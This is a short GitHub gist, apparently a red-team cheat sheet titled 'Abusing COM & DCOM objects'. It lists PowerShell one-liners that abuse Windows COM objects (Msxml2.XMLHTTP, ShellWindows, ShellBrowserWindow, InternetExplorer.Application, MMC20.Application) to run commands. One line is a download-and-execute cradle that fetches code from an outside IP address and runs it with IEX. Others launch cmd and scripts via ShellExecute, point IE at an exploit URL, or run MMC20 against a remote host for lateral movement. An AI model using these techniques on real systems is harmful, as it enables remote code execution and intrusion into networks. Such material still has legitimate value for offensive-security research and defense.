Last active
June 6, 2023 09:21
-
-
Save ffcommax/4887d66654781823fd26f1b39e152bbb to your computer and use it in GitHub Desktop.
Abusing COM & DCOM objects
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://www.exploit-db.com/docs/48767 | |
| Msxml2.XMLHTTP.3.0 | |
| $o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://87.236.212.22:443/xsllsx", $False); $o.Send(); IEX $o.responseText; | |
| ShellWindows | |
| $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) | |
| $item = $hb.Item() | |
| $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) | |
| ShellBrowserWindow | |
| $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880")) | |
| $hb.Document.Application.Parent.ShellExecute("calc.exe") | |
| $hb.Document.Application.Parent.ShellExecute("script.js") | |
| internetexplorer | |
| $Object_COM =[Activator]::CreateInstance([type]::GetTypeFromProgID("InternetExplorer.Application")) | |
| $Object_COM.Visible = $true | |
| $Object_COM.Navigate("http://192.168.100.1/exploit") | |
| MMC20 run As Admin | |
| $hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134")) | |
| $hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application")) | |
| $hb.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c calc','7') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment